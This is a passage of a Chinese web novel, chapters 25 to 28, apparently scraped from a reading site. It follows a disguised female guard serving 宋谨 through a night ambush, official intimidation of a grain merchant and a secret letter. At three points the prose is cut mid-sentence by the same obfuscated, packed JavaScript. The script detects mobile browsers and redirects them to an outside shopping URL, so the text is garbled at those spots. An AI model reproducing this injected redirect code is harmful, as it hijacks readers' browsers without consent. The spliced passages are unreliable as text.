她毫不迟疑，纵身跃上连接那处的彩绳，打算悄然潜行，一探究竟。 黄雀在后。 踏绳而行，脚下铜铃叮当作响。隐约间，苍仁曲听到了叽喳声，抬头一看，几只鸟儿正在头顶上空盘旋。 奇怪？夜深了，这些鸟儿为何毫无倦态？ 敏锐的直觉促使苍仁曲加快步伐，当她顺着彩绳跨过融江到了对岸，头顶骤然响起一声刺耳鸟鸣！ 阁楼阴影中，一只大鸟疾冲而出，双翼怒张，迎面扑来！ 苍仁曲足尖一点，飞身跳开锋芒，借力一跃，快步奔向那座阁楼。 一声厉鸣，那只大鸟自后方再度袭来！苍仁曲抬手想打掉它，撞到大鸟的一刹那，忽然一阵刺痛，手臂赫然出现一道血痕！ 大鸟丝毫无损，盘旋半空，再次振翅扑来。 苍仁曲没有回击，这次倒是看清楚了，原来那并非活物，通体羽毛由钢铁所铸，边缘锋锐如刀，迎面朝她劈斩而来！ 她下意识闭眼，面具瞬间四分五裂，脸颊擦出一道血痕。 钢鸟低飞掠过，脚踝忽然一阵刺疼，苍仁曲顿时平衡尽失，整个人从彩绳上向下滑坠。 不好！ 千钧一发之际，她单手急探，抓住彩绳借力向下纵身，勉强消解大半坠势，双足踉跄着地，幸未受伤。 她站在这座漆黑的阁楼门前，整栋建筑不见灯火，也无招牌，在外来看完全不知道是做什么的。 目光上移，阁楼顶处，一道人影凭栏而立。空中那只大鸟盘旋数圈，缓缓落回他抬起的手肘上。 夜色深浓，那人的形貌看不真切。她却能强烈地感受到对方灼灼的视线，刺破黑暗，正牢牢审视着自己。 被目睹了真容，苍仁曲落荒而逃，瞬间将盲卫与吴怀智的是非抛诸脑后。 好奇心再盛，也需有命去探。万一她惹到了广厦楼位高权重之人，且不说白道之路遥遥无期，□□之路可别真提前堵死了…… 被大鸟啄碎的面具洒落一地，一道身影走到面前，阴影将其掩盖。 这条街离谨公子所在的戏院不远。 苍仁曲赶到时，戏院已经闭门，宋府的马车亮着一盏孤灯，静静停在门前。 她悄然登上马车，朝帘内试探着轻唤了一声：“谨公子？” “嗯，回来了？”里头传来宋谨含糊的回应，似乎刚从浅眠中惊醒。 “对不起，公子，我回来晚了。” 宋谨随口问道：“去哪玩了？玩这么久？子时都过了。” 苍仁曲眼神游移，吞吞吐吐解释道：“我…其实也没玩什么，就是西市太大，不小心迷了路，绕了好久才找到方向……” 宋谨轻然一笑，没有怪罪于她：“那便回去吧。我也累了。” “是。”苍仁曲驾车离去。 马车内光影朦胧。宋谨指尖捻着一只面具碎片，独自欣赏着，眼底情绪晦暗不明。 25. 赶工 宋府。 中秋子时过后，府中更显空寂。将宋谨送回府后，苍仁曲独自将马车驶入马厩安置。 夜寒深重，傍晚出门时合宜的衣着，此刻已难抵沁人清冷。 待她回到别院，只见宋谨独自立于院中，如石像般凝然不动，仰首望着天上的圆月。 苍仁曲搓热双手，快步上前：“公子，怎么还不回屋？不冷吗？” 宋谨闻声转过脸，只是沉默地看着她，让她不明所以，片刻，他忽然指了指自己的脸：“这里，怎么弄伤了？” 苍仁曲顺着他指的方向轻触脸颊，胡乱编了个理由：“不知在哪儿蹭到了，天冷了，都没觉着疼。公子若不提，我怕是都忘了这伤了。” 宋谨目光游移，总算迈开步子朝屋内走去：“赶紧回去吧，别冻傻了。” “是。”苍仁曲目送他进去，这才转身回屋。 莫名其妙。方才杵在院里一动不动的人是他，明明他才像冻傻的人，到头来却只问自己一句脸怎么伤的。 他的心思，实在难懂…… 月色浸窗，一灯如豆。 睡前。 宋谨手里拿捏着一封信，兴趣恹恹。这是洛予词在阁楼呈递给他的。 “曲直公子，上回在宋府出手相救的那位姑娘，其姓名、来历、实力均已查明，尽在此信中。” …… 他早在宋曦从萧武署招募护卫时，提前调查得知她化名姜安曲入府一事，后来她也向他亲口坦白过部分真相。 宋谨随手将信搁在床畔的书案上。 “……我的父母提供了容州刺史贪墨国库的证据，将我救了出来，后来他们被许党灭了口……” 苍仁曲流泪的模样蓦然浮现眼前。他指尖一顿，压在信上没有移开。 静默片刻，他终于将信重新拿起，拆开。 ——姜安曲，容州闲潭人。年二十，曾为研读学生。因举报容州刺史贪墨入狱。其父母系玉琼羹中毒案主理，以关键证据换其出狱，后意外身故。因天资出众，被萧武署破格录用，一年即出师…… “......” 原来如此，姜安曲的父母，竟然曾在陈珍窖做工，且是那场中毒案的负责人。 他起身将信纸凑近烛火，待最后一角化作灰烬，抬手掐灭了房中唯一的灯盏。 …… 次日清晨，宋谨如常练剑，苍仁曲依旧不时被他当作活靶。 府门外传来马车停驻的声响，伴着门房一声“老爷回来了”的通报，宋德已经大步迈入府门。 从应都至秀止，少说也需一日车程。昨夜王宫方设宴，今早人便到了，怕是连夜快马加鞭赶了回来。 宋德眼底一片青灰，显然整宿未眠，宋谨收剑，上前关照：“父亲日安，怎回来如此早？” 宋德满面倦容，低声道：“太子殿下命我回来处理要务。我先回屋歇息一阵，午后你随我去秀止府。” 宋谨点头示意，接着问道：“阿姊呢？她怎没有回来？” 宋德揉了揉发沉的额角：“舟车劳顿，曦儿经不起折腾。我让她留在应都，陪太子游玩两日再回。” 宋谨扶住他的臂弯：“父亲，当以身体为重啊。” “都是为了曦儿的将来。”宋德话音一顿，又添一句，“……也是为宋家。” 宋谨低低“嗯”了一声。 宋德似是想起什么，关心了一句：“谨儿，昨日中秋，过得可还顺心？” 宋谨微微笑道：“挺好，难得清闲。昨夜与三五好友同去西市戏院，归来稍晚些。” 苍仁曲：“......” 宋德满意地微微颔首：“此倒不知你何时爱上了听戏。只听说你常去，有时寻你不见，一问才知又去了戏园。若得闲，为父也同你去听一回。” “好。” 一路穿过庭院，宋谨与宋德聊了些家常琐事，直听得宋德哈欠连连。 待父亲进屋歇下，宋谨与苍仁曲方才离开。行至回廊深处，四下无人，苍仁曲低声开口：“公子，为何要对老爷撒谎？” 宋谨脚步未停，声音没有任何感情：“若实话实说，他肯定不会满意。” 苍仁曲认真思索片刻，没想明白：“您若一个人过得自在，身为父亲，他怎会无法理解？” 宋谨的声音随步伐渐渐放缓“为人父母多是如此，既为亲生骨肉，便觉子女当以亲命为天，至于孩子所思所想，无意深究，若孩子行止超出其认知，便视作叛逆，需加以管束。顺从与听话，是他们愿见的模样，也成了孩子最稳妥的存身之道。” 苍仁曲欲言又止。 若将他口中的“孩子”换作“人”，倒容易理解，毕竟任何年纪的“人”，都拥有独立意志，不论那种念头清晰或朦胧。 可当“孩子”二字入耳，她并非为人父母，竟不自觉站在父母一边，甚至下意识与他辩解。明明“孩子”亦是“人”，孩子的念头，同样是“人”的念头。 她这才反应过来，自己何尝不是将“孩子”视作无需聆听心声的宠物？自诩一切所为，皆是为了“孩子”好。 正在此时，前方廊下一名侍从快步而来，身后跟着一个怀抱书卷的研读生。那人眼圈比宋德还要重上几分，俨然多日未眠。 侍从禀报：“谨公子，研枢院的研读生请见，说是代表院长而来” 宋谨：“什么事？” 那名学士将手里的书卷呈出，神色紧绷：“谨公子，此乃院长命我整理的方案报价与目前进展详录。日后此事由您主理，他命我前来呈报。” “辛苦你跑来这一趟了。”宋谨话音方落，苍仁曲上前接过那摞书卷，入手沉甸甸的，分量不轻。 “不辛苦，不辛苦......呃！”那名学士话未说完，忽感头晕目眩，连日紧绷的精神一朝松懈，腿一下软了。 苍仁曲与另一名侍从连忙一左一右扶住差点瘫软的学士。 她怀中还抱着那摞书卷，陡然增加的重量让她踉跄一下。宋谨适时伸手，稳稳托住她的手臂，随即自然拿走将最上方几卷书。 她顿感压力一轻。 宋谨盯着他眼下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103044|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的浓重青影：“这些东西你整理了多久？” 学士站稳身子，尴尬解释道：“怕公子笑话，这些东西原本皆有存档，可前些日子一位师姐离院之时一并带走了。没办法，我们只得从头整理。院长催得急，这几日假期，我与几位同门不眠不休，方才赶出这份。” “嗯，回去好生歇息吧，待我看完这些，会登门与院长详谈。”说罢，他转而吩咐侍从，“备车，送他回研枢院。” 侍从引着那名学士离去。宋谨抱着书卷走在前面，径直往书院方向行去。 苍仁曲默默跟在其后。虽动过接过书卷的念头，可见公子未曾开口，她倒心安理得地偷了这份闲。 整个上午，宋谨一直泡在书院，随行的苍仁曲在书房检查账册，直到宋德的侍从请宋谨一同用午饭，饭后，一起前往秀止府。 节后第一天，因府尹提前返值，秀止府众官员只能自愿上工。其他府衙尚在休沐，府内能处置的事务实则不多。 宋德马车一到，属官上前接待：“大人，吴老板一早就来了，他不知您何时到来，一直在正堂等候，连午饭都还没吃。” 宋德语气暗忍着不耐：“他倒是殷勤。去告诉他，我在家用过饭了，让他吃饱再来。我在偏堂等候。” 属官：“是。” 宋德对宋谨道：“谨儿，你先去偏堂的里屋坐着听，等吴老板走了，再出来与我议事。” 宋谨：“好。” 偏堂内陈设典雅，茶几上一枝玉瓶兰花，素净绽开，为满室幽深增添一抹亮色。 宋德枕靠在榻上闭目养神，侍从侍立一旁专心煮茶。苍仁曲端着两碟点心经过，绕至围屏后面，步入里屋。 宋谨在里头正襟危坐，听得脚步声由远及近，掀起眼皮，静静注视着她将点心轻放在桌上。 苍仁曲返身合上门扉，门外的煮水声朦胧些许，一回头又正好撞上宋谨的视线。他即刻移开目光，沉默以对。 她自然经过宋谨身边，在对座弯腰坐下。 下面仿佛生了刺，她的身体先于意识反应过来，猛然弹起，心中呐喊—— 我在干什么？！这是自己家吗？！ 奇怪的举动引起宋谨注意，她一转头，果不其然看到了他疑惑的目光。 她灰溜溜退到宋谨身边，神色惶恐：“公子恕罪，我逾矩了。” 宋谨了然，语气温和：“要是累了，坐下来休息也无妨。” 苍仁曲毛骨悚然，岂有侍从和主子同坐一塌的道理？他这明摆着故意设下陷阱试探她！ 她毕恭毕敬回应道：“谢公子体谅，我心里有数，累了自会蹲着。” 宋谨：“……” 门外传来人语，二人屏息静听。 “府尹大人，中秋佳节刚过，您就赶回衙门办公。像您这样心系公务的好官，万邦上下怕是找不出第二位了。” 宋德声音一沉：“你可知本官为何连夜从应都回到秀止，赶着第二天上工吗？” “不…不知……” 宋德厉声吼道：“还不是因为你！” 26. 官压 门外传来小心翼翼的询问：“大人……敢问是出什么事了？” 宋德语气愤愤：“昨晚宫宴上，萧良山提到了岛州倭寇掌控军需一事。他可是王上的心腹大将！你偏偏在这当口撞上他儿子萧择天巡岸的当口。这父子二人都是难啃的硬骨头，被抓到把柄，他们定会紧咬不放！” “将军既已身居高位，何苦还要来插手地方事务？这手未免伸得太长了些。” 宋德：“那萧良山奉王命协管边州都护部分事宜，出了贪墨一案，边州地方府库空虚，军费拨付不出。那些清点完还尚待入库的饷银，原是为应急暂拨至交州沿岸充作军需。现在却流到了倭寇手里，这该如何解释？” “边州太平无事，他急着要钱做什么？钱也不是大风刮来的。” 宋德冷笑道：“一介商贾，鼠目寸光。边州虽无动乱，但毗邻月尊国，而今月尊国实力不容小觑，不得不防。交、岛二州摩擦终属内乱，空耗国库，动摇国本。王上拎得清，一直惦记这笔账。萧良山昨晚这么一提，自然又被摆上台面了。” 那人闻言，声音陡然透出惊惶：“望府尹大人息怒，是在下疏于监察，竟让那倭寇钻了空子。” 宋德：“少拿疏忽搪塞！此事我本不欲过问。你且说清楚，官家军需为何会落入倭寇之手？又为何偏偏出现在你的商道上？” “大人，您这话问到了要害。军需是何等机密贵重之物，它能出得了军库，又能通过层层审核，此事本就蹊跷，又偏偏出现在颐丰粮行的商道上，只因颐丰粮行享有官府特许，沿途管制较寻常商道更为宽松，最容易做这种交易。” 宋德沉声一问：“你的意思，是要从都督府里揪人？” “大人明鉴！军需倒卖事关重大，在下一介商贾，绝无只手遮天的能耐。究其根本，该抓的，正是那些能动用军库、批得下文牒的人！” “说了这半晌，口干了吧？”宋德转而吩咐侍从，“上杯新茶来，给他润喉。要刚沏的，趁热。” 门外交谈声忽大忽小，苍仁曲凝神倾听，才听出来一二细节，全然察觉不到身侧动静。 “听这么入迷？” 宋谨的声音忽从旁响起，惊得她心头一跳。抬眼见他手支着桌案，目光慢悠悠落在自己身上。 见他杯中已空，她忙上前斟茶。 新茶落案，雾气轻袅。 苍仁曲轻声询问：“公子，我有一事不明。” 宋谨接过茶：“说。” “秀止府此番提前赶工，事后可会安排补假？” “？” 宋谨闻言，送至唇边的茶盏微微一滞，随即目光闪过一丝诧异，仿佛在问，你怎么想出一个八竿子打不着的问题？ 苍仁曲读懂他的眼神，不好意思笑了笑：“方才一直在思考这个问题，有些走神了。” 宋谨半信半疑，饮了口茶：“既是自愿，便没有补假的道理。” “补薪也没有？” “......没有。” 苍仁曲面露不解：“啊……既无补假，又无补薪，何必急于这一两日返工？难道就无人提醒府尹，今日尚在休期之内么？” 宋谨眼目微眯，似是完全不理解她的意思。 微妙的眼色让苍仁曲略感局促，她仍坚持己见继续说道：“我哪里说的不对吗？假期乃明文所定，既然定了，便不可因上位者之意而随意更改。府尹大人若破例，下面的人难道连提一句的资格都没有么？” 宋谨将茶盏轻轻搁在桌上，不紧不慢说道：“阿曲，若一事关乎万民生计，牵连国运安危。到了紧要关头，你觉得，是守着假期事大，还是顾全大局事大？” 苍仁曲嫌弯腰说话太累，又不能坐，索性他跟前一蹲，仰起脸望着他。 宋谨惊得身子微微后倾，声音带着诧异，却放得很轻：“这是做什么？” 苍仁曲目光认真，仰头争辩道：“公子可还记得，上次我们在都督府议事堂撞见官员争执？那时倒卖军需一事已见端倪。事有轻重缓急，可当时他们眼里顶要紧的，却是中秋放假，生生将此事搁置，等捅到王上面前，忽然变成‘关乎天下’的要务。事未闹大前，假期、俸禄，样样都比黎民安危要紧，事态压不住了，倒想起顾全大局......” 宋谨坚定打断她：“阿曲，先站起来。再想想，你质疑的究竟是什么？” 苍仁曲识相闭了嘴。 她意识到，他能容她说这么多，此刻才出言打断，已是给了台阶。 她掩去眼底的失望，站直身子，不情不愿改口道：“我明白了，不管多小的事，既然关乎百姓，那都是大事。既无轻重之分，休假自然事小，当以公务为先，是底下人不懂事，欠缺这份觉悟。” “嗯，尚有觉悟。”宋谨轻轻一捻泛红的耳垂，神色平静抿了口茶。 茶盏轻叩在案，近乎无声。 “哐当！” 门外骤然传来瓷器碰撞翻倒的脆响，惊得屋内两人同时抬眼，目光同时转向门扉。 外头的声音带着显而易见的慌乱：“大人，茶太烫了……端不住。” 宋德继续吩咐侍从：“去，重新给他沏一杯，直到他端稳为止。” 满室只听得见茶水注入盏中的声响，清晰可闻。 片刻，那道声音再度响起，每个字竭力抑制的颤抖：“大人......我端稳了。” “喝下去。” “啊？” 宋德重申一遍：“喝下去。” 四下又是一寂。 紧接着，又是一声“哐当！”，茶盏再度翻倒，随即响起一阵剧烈的咳呛。 “咳！咳咳！” 宋德沉稳的声音透过门扉：“吴任，你要明白一个道理。” 吴任的舌头已烫得发麻，话音含糊颤抖：“请……府尹大人…赐…赐教。” “该说什么，不该说什么，你心里要有杆秤。进得了交州都督府之人，要么家世显赫，要么本事过人，二者兼备者甚多，哪怕是最小的官，命都比你值钱。你一介士卒贩夫出身，更没有文试武举的成绩托举，若非当初太子殿下开恩，你早已跟容州刺史一个下场，何来今日‘交州第一粮商’的名号？把矛头对准他们，你莫不是吃了熊心豹子胆？” 苍仁曲：“......” 吴任此刻早已伏跪在地，深深埋下头去，连连称道：“是...是......府尹大人说得是。” 宋德声音不高，字字如钉：“货是在你颐丰粮行的道上截下的。太子殿下有令，半月之内，须将走私之人查出。若查不到，便拿你粮行老板，以勾结倭寇论定罪” 吴任额头冷汗涔涔，脊背微微发颤：“在…在下定当竭尽全力…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103045|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半月之内，必将…背后之人揪出！给各位大人一个……明白交代！” …… 门外彻底没了声息。 宋谨饮尽杯中第二道茶，忽然起身，苍仁曲替他推开门。 绕过围屏，只见侍从正低头擦拭几案上的水迹。宋德依旧阖目倚在榻上，神色静如止水，仿佛方才一切从未发生。 苍仁曲静立一旁，想起方才在里间的所听所闻，只觉眼前这位阖目养神的府尹，犹如一头伏踞于深林的猛虎，只是静卧吐息，周身散出的威压足以令百兽屏息。 待侍从收拾妥当，悄声退至一旁，宋德才缓缓睁开眼睛，漫不经心扫了苍仁曲一眼。 “你们退下罢。” 苍仁曲与侍从应声告退，直到室内只剩父子二人。 宋德适才开口：“谨儿，你在里头都听到了，此事你怎么看？” 宋谨神色平静，丝毫不惧：“父亲，此事不必插手，任由吴老板自生自灭，无论结果如何，皆有路可退。” 宋德挑了他一眼：“此话怎讲？” 宋谨字句清晰分析道：“吴任当年是借了宋府的钱势，将颐丰粮行做到如今规模，以‘官督商办’之名，垄断大部分粮市，又在官定粮价之外私抬售价，从中牟取厚利。由此可见，此人是个无利不往之人，倒卖军需这般暴利又隐秘的勾当，他岂会不沾？多少买不起粮食的百姓落草为寇，他若无法自清，官府正好借势彻查颐丰粮行，到时账目一翻、仓库一清，正好除掉朝廷与百姓一大祸患。” 宋德揉了揉眉心，语气里透出淡淡的倦意：“谨儿啊，粮价高低，百姓买不买得起粮食……这些，我并不关心。你只需明白告诉我，若颐丰粮行没了，那些钱该往何处安放？” 宋谨眸光暗了一瞬。 方才他费劲口舌一番话，字字牵系民生，可他这位身居府尹之位的父亲，却只当作耳旁风，全然忘了“利民安邦”本该是他职责所在。 权，竟让人心薄凉至此。 他面上波澜不惊，浮起一丝极淡的笑意：“父亲先前将交州科研项目的经费交由孩儿协理，只要工部核准立项，这笔钱便可名正言顺投入其中。” 宋德抬手在膝上轻轻一拍，仿佛这才记起：“是了，我倒险些忘了这茬。果然还是你想的周到，两头铺好了路。” 宋谨话音温顺：“替父亲分忧，是孩儿的本分。” 宋德心满意足，自榻上从容起身：“歇得也够了，该去处置公务了。谨儿，谨儿，若无他事，便先回吧。” “好，父亲勿要过于劳神。” 父子二人一前一后出了门。 宋谨与父亲别过，未行几步，便听得身后传来一阵熟悉的、略显匆促的脚步声。他头也不回，淡声问道：“去哪了？” 苍仁曲快走两步到他身侧，答得殷勤：“方才内急，去解了个手。” 宋谨自顾自走着，随口调侃了一句：“还以为你跑到哪个角落偷听去了。” 苍仁曲一副受了天大委屈的模样，急声道：“冤枉啊公子！我向来行事端正，怎么会做偷听墙角这等事？” 宋谨递去一个“你自行体会”的眼神。 苍仁曲不躲不避，干净的眼神直勾勾望着他，满脸无辜。 不过两三息的工夫，宋谨先移开了视线。 他别过脸，不再看她。 27. 约见 二人一路沉默，远远经过一座小院时，苍仁曲隐约嗅到一股古怪的气味从墙内渗出，十分腐臭，又夹着一缕焦煳气息。 院门前，几名戴着口罩的捕快正在交谈。 “你是说……炸船之前，这两人就已经死了？”领头的捕快刻意压低了声音。 一名捕快看着手中记录，如实禀告：“头儿，仵作已验明，一名死者手腕骨折，身上有致命刀伤，而在另一名死者脖颈中，发现了一枚银针。这些伤痕，在船炸之前已经存在。” 捕头喃喃自语：“银针……” 另一名捕快听到捕头捕捉到的字眼，敏锐地接话：“头儿，上次被广厦楼刺客一招致死的都督府军卫，头里也有一枚银针，难道是巧合吗？” 捕头：“难说，等都督府休沐结束，拿去一验便知。” 捕快朝院内望了一眼，将面罩按紧了些，问道：“头儿，这两人都是吴府自小养大的家奴，也无处可去。尸首这么摆着终不是办法，是否要通知吴府来人收殓？” 捕快挥了挥手：“去吧，估计吴家还没意识到自家有人失踪了。” 那捕快应了一声：“方才我还见着颐丰粮行的吴老板在附近，这就去请他过来！”说罢，他转身往府外跑去。 苍仁曲眼见他一路奔忙，丝毫未留意一旁正要横过路面的宋谨。 “公子，小心。”她拉住宋谨胳膊，往后轻轻一带。 捕快闻声急急刹住脚步，转身差点与宋谨撞上。他慌忙后退，躬身道：“谨公子！对不住……实在对不住。” 捕头听闻动静，急忙上前，当面斥责对那名捕快：“毛手毛脚的！”随即，他转向宋谨恭恭敬敬，“谨公子，手下人鲁莽，没惊着您吧？” 宋谨神色平和：“无碍，官差要紧，是我挡路在先了。” 捕头朝那捕快使了个眼色，让他先行离开。对方会意，向宋谨匆匆一揖，便快步向府外奔去。 他脸上堆起殷勤的笑，对宋谨道：“官差再急，哪有谨公子身子金贵？万一磕着碰着了，小的们饭碗难保啊。” 宋谨疏离一笑，挪了挪步子绕开他身边：“捕头言重了，您非我府中侍从，安危本不在您职责之内。做好分内之事，方能真正保住饭碗。方才那位兄弟跑得急，想必确有要务，能理解。” 捕头跟上宋谨步子，在他身后提醒道：“公子体谅，昨夜西市发生爆炸，近日还请公子出行务必留心安全。” 宋谨眉眼轻挑，稍微放慢步子：“竟有此事？火药素来由官府严管，竟能轻易出现在人流密集的西市。此事非同小可，望几位量力而行。” 捕头笑颜谄媚：“知道的知道的，不过是两条贱命的小案子，再怎么查，肯定不能查到咱衣食父母头上。” “……”宋谨目光微沉，没有接话，而捕头一路躬身陪笑，送他至府门外。 府门前停着一辆马车，正要登车的吴任听完捕快禀报，满脸惊骇：“你说什么？爆炸！” 捕快：“正是，绮罗舫的老板已交代，爆炸那条船，正是令侄预定的。还请吴老板随我等走一趟，配合查问。” 吴任眼意恐惧，难以置信发问：“我侄子呢？那两具尸体，难道……？” 捕快放缓语气，宽慰他：“吴老板莫急，遇害的是令侄的两位家奴。令侄眼下只是下落不明，衙门定会全力追查他的踪迹。” 吴任神色凝重，对那名捕快反复念叨着“一定要找到他……”的话。 恰在此时，宋谨从里面出来，苍仁曲紧随其后，与随捕快入内的吴任迎面相碰。 一见到他，苍仁曲立马低下头，幸好宋谨比她高出一头，背影恰好挡住吴任的视线。 他的背影，令她片刻恍惚，数年前初见吴任时的场景，依稀浮现在眼前。 “原来这位就是令妹，时常听你提起，当真难得一见。”数年前的吴任笑容满面，目光频频越过许义歌，瞄向苍仁曲。 许义歌将她挡得更严实些，客客气气回应道：“家妹生性不爱见人，请见谅。” 吴任打趣道：“素来听闻令妹实力与许公子不相上下，何时能让她独当一面，让我开开眼界？” “她对不感兴趣，况且有我在呢，由着她性子来，不打紧。” 苍仁曲不愿久待，暗暗戳一下了许义歌。许义歌意会，转头对她随意编了个理由：“今日夫子不是给你留了课业？快去温书。若明日夫子来寻我，仔细你的功课。” “知道啦。”苍仁曲如蒙大赦，笑着离开。 “谨公子。”吴任的声音突然响起，与记忆中那道带笑的声音几近重叠。 苍仁曲茫然，而她眼前的背影微微颔首，随即传来宋谨平稳的回应：“吴老板，好久不见。” 呵。 她暗自苦笑一声。 宋谨的目光掠过吴任身旁的捕快：“看来吴老板有要事在身，若有闲暇，改日再叙。” 轱辘车声滚滚开来，宋谨的马车到了，在府门前稳稳停下。 吴老板正想问点什么，经他这么一带，不得不将话咽了回去：“好、好，谨公子慢走。” “谨公子慢走。”捕头笑着朝马车方向拱手。 宋谨登车离去，吴任的目光跟着苍仁曲的背影，若有所思。捕头适时上前，挡住了他的视线：“吴老板，里头正等着呢，请吧。” “嗯。”吴任扶了扶脑袋，眼下麻烦缠身，实在无暇也无力去深究那些陈年旧影。 马车驶回宋府。宋谨别院。 大莱正对着璇源鼎记录数据，跟一旁的石举兰闲聊着天，听见宋谨回来的动静，二人忙不迭招呼。 “谨公子。” 宋谨简单应了一声，小安不知从何处悄然出现，听闻谨公子归来，自觉跟在其后，服侍他步入屋内。 “阿曲，找你的。”大莱眼皮没抬一下，笔杆朝石举兰的方向虚虚一点，对苍仁曲说道。 “阿兰？什么事？” “我们这边说。”石举兰自然而然拉走苍仁曲。大莱侧目瞟了一眼，没有作声，继续低下头做他的记录。 走到她屋角的窗边，石举兰说道：“阿曲，上回在马场，你说得对。我确实不该轻易糟蹋女子的心意。我这次来，想讨回小诗赠我的那条手帕，不知可否还给我？” 他语气真诚，苍仁曲却总感觉哪里怪怪的。 她质疑道：“你这话说的，与那日在马场时的模样，简直判若两人。” 石举兰言辞恳切：“小诗是个好姑娘，我认定了，绝不能亏待她。其她女子的手帕，我都一一退回了。” 这番浪子回头的说辞，倒说进苍仁曲心坎里了，见他既然改过自新，肯珍视小诗的真心，她自然成全，于是满意地点点头：“行吧，我这就去给你拿。” 她回屋，在梳妆台找到一枚装有小诗手帕的精致木盒，正欲取出，目光忽然被墙上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103046|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道异样吸引了去。 镜子旁的墙面上，一支飞镖钉着一封书信，而镖尾系着一抹梅红色飘带，颜色刺目而熟悉——是洛予词！ 她迅速取下飞镖和书信，心有预感走到窗台边细查一番，果然发现了一道模糊的鞋印。 “......” 奇怪。 洛予词怎会知晓她成了宋谨的侍从？又怎能如此精准地摸到她的房间？ “阿曲，找到了吗？”屋外的石举兰轻声催促。 “啊，来了。”苍仁曲反手将书信和飞镖藏好，出屋将那只木盒递给了他，“拿着。” 石举兰接过那枚木盒，打开一看。手帕洁净如新，叠得整齐，还隐约带着一丝淡香。 他微微一怔：“阿曲，劳烦你费心保管了。” 苍仁曲言语威胁道：“你虽然是萧大人派进来的，但小诗是我朋友，要是你辜负她让她伤心，我照样收拾你。” 石举兰郑重点头，离开的步伐稍显轻快：“知道了，我一定不会辜负小诗。她还在等我，我去找她了，回见！” 送走了石举兰，苍仁曲环顾四周，确认无人后迅速回房掩紧房门。 她展开洛予词的那封书信—— “姜姑娘，别来无恙。五日后，宋家公子会往西市戏院听戏，向来独往，随从不近。你可寻机跟随，届时戏院门口相见。” 洛予词竟连宋谨的动向都一清二楚？难道宋府之内，广厦楼的耳目不止陆奇一人？ …… 夜间，书房烛火轻晃。 苍仁曲咬着笔杆，对着摊开的账册怔忡出神，笔尖朱砂已干涸多时，她的心思全在这些疑问上打转。 正出神间，宋谨的声音自一旁悠悠传来：“账册查得如何？可发现什么错漏之处？” 闻声，苍仁曲略定心神，随手翻了两页纸，回答道：“回公子，大抵上都没有啥问题。” 宋谨埋头看着上次研枢院的学士送来的文书，吩咐道：“嗯，这三日内务必核查清楚。三日后，八珍窖的人自会来取账册，呈送户部核验。” 苍仁曲新起了疑问：“公子，我记得您曾提过，府中这份账册原为备份，为何八珍窖还要多多此一举，特来府上提取？” 宋谨平静解释道：“八珍窖送来的账册皆经润饰，每誊录一份，底稿便焚去一份。‘真正’的账目，全在这了。” 誊录即焚？ 苍仁曲生平头一次见这么多弯弯绕绕，这八珍窖若无古怪，何须谨慎至此？ “好，待账册交付之后，公子可还有别的吩咐？” 宋谨目光投向她：“清查账目的活，你确实辛苦了。过几日我要去西市听戏，已提前定好了座。你若想在附近逛逛，我便准你半日假，账都记我名下即可。” “真的吗！谢谢公子。”苍仁曲又惊又喜，如此一来，倒省去了寻借口随行的工夫。 “现在还嫌待遇一般吗？”宋谨随口一问。 苍仁曲被问得一愣，自己当初随口之言，公子竟记挂在心，还追究到了现在！她当即拍起马屁：“公子海量！您您真是宰相肚里能撑船！我白长了这双眼，竟没早看出您是这样体恤下情的好主子……” “打住，我要听真话。” 苍仁曲移开目光，认真思虑半晌，最后耳根微热，憋出俩字：“……不嫌。” 宋谨抬手撑脸，恰好掩住了唇边微不可察的笑意：“嗯。” 28. 穷百姓 两日后。 宋谨在匠作坊里照着图纸又做了一只木鸟。木鸟展开双翅，颈间机簧轻响，机械扭动着头，从桌面腾空而起，在他面前飞了几圈。 这时，另一只木鸟自外飞入，爪子衔着一根竹节枝条，它将竹枝丢在桌上，在头顶盘旋一圈，振翅离开。 竹枝空心，其中藏着一节字条。宋谨取出来，缓缓展开—— “岛岸限粮，流民饥荒，危。” 他沉沉叹了口气，将纸条递到木鸟喙边。木鸟一啄，将纸片撕得粉碎。 “公子，曦小姐回来了。”侍从的声音从门外传来。 “嗯，这就来。”宋谨应声而起，桌上的木鸟也随之振翅，先他一步飞出了匠作坊。 天朗气清，木鸟从后院飞到前院，窜入一团金黄的银杏树群，停在其中一株枝头上。 树群围绕着一座高台，一片扇叶悄然落在宋曦的贵妃榻上，她正轻摇团扇，闭目养神，发出慵懒的声音：“阿谨呢？我离开这么久，回来也不见他迎一下。真没规矩。” 侍从拾起榻上落叶，随手丢到一旁：“已经派人去请了。谨公子马上就到，小姐稍候。” 宋曦眼也未睁，懒懒道：“阿兰哪去了？回来怎也不见他？” 